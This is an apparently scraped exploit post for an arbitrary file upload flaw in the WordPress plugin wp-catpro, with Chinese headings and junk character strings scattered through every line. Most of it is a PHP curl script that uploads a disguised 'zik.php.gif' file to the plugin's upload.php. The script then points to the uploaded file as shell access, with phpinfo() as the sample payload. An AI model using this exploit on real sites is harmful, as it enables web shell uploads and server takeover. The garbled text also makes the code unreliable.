Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability: q' ]# H+ Q* J4 Z
#-----------------------------------------------------------------------( J0 d/ o! Q( p8 A/ k
3 }) v* I1 v. i- x2 f) K作者 => Zikou-16
1 M' r' x3 t \* J, Z+ y邮箱 => zikou16x@gmail.com: A# U; n. J i( D; U- u- Q4 z
测试系统 : Windows 7 , Backtrack 5r3
7 a" ^# K5 E0 d) ~* u8 K# ?# o9 y- s. H下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip X) t2 v3 B! Q9 d' X9 x3 T1 z6 x' u
####* V5 `% x. @) h/ e
) } q R8 E& ]0 ]( o. Z3 u }# G
#=> Exploit 信息:% s- j1 D+ C, Q$ {
------------------% J# G1 f4 s% g* e
# 攻击者可以上传 file/shell.php.gif9 R4 Z, x) Q1 Q2 d: n# y2 b
# ("jpg", "gif", "png") // Allowed file extensions
' ]* W. c y9 t# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
, ?. v7 y- |- M+ i# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)$ @/ E4 o) T& _9 F7 C2 F% D' R
------------------
6 P3 ^! T# E; E+ d9 U
5 L9 g) k0 [! Y" o0 U' K. p#=> Exploit
4 Q, T6 h. b# ]-----------7 f; i. s* d( d- m
<?php8 F4 R8 F4 ^# C$ A8 V, F" J8 m# y* i8 z
. B; L! R4 F+ P6 G$uploadfile="zik.php.gif";: {2 b6 c5 q- N9 R) [8 T
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");6 J" \% l6 M& b: W3 a8 o F$ i
curl_setopt($ch, CURLOPT_POST, true);
0 w+ f5 d$ E* s8 A% \6 A: jcurl_setopt($ch, CURLOPT_POSTFIELDS,
7 A( ~9 N8 N$ darray('Filedata'=>"@$uploadfile",
, s" y( ?9 e- L5 b'folder'=>'/wp-content/uploads/catpro/'));
; |5 D. C7 Y/ Ccurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);' g2 U+ N& K8 m: D% [
$postResult = curl_exec($ch);
g4 K$ M7 _. P" y0 \$ acurl_close($ch);
9 M: l; N9 D' j+ R! x
: U9 o& g6 ]9 |# D; b8 _- Xprint "$postResult";
0 k9 ?# \! W# H5 x3 x 1 g4 o. S, G- u7 e# z! U
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif: g1 A0 I3 l% d+ m0 Y
?>* U% V n0 A1 [2 \( M& S1 {
<?php
8 K1 B8 C$ m5 f; ^# d. C* vphpinfo();
* v( v) n6 H2 k' F?> |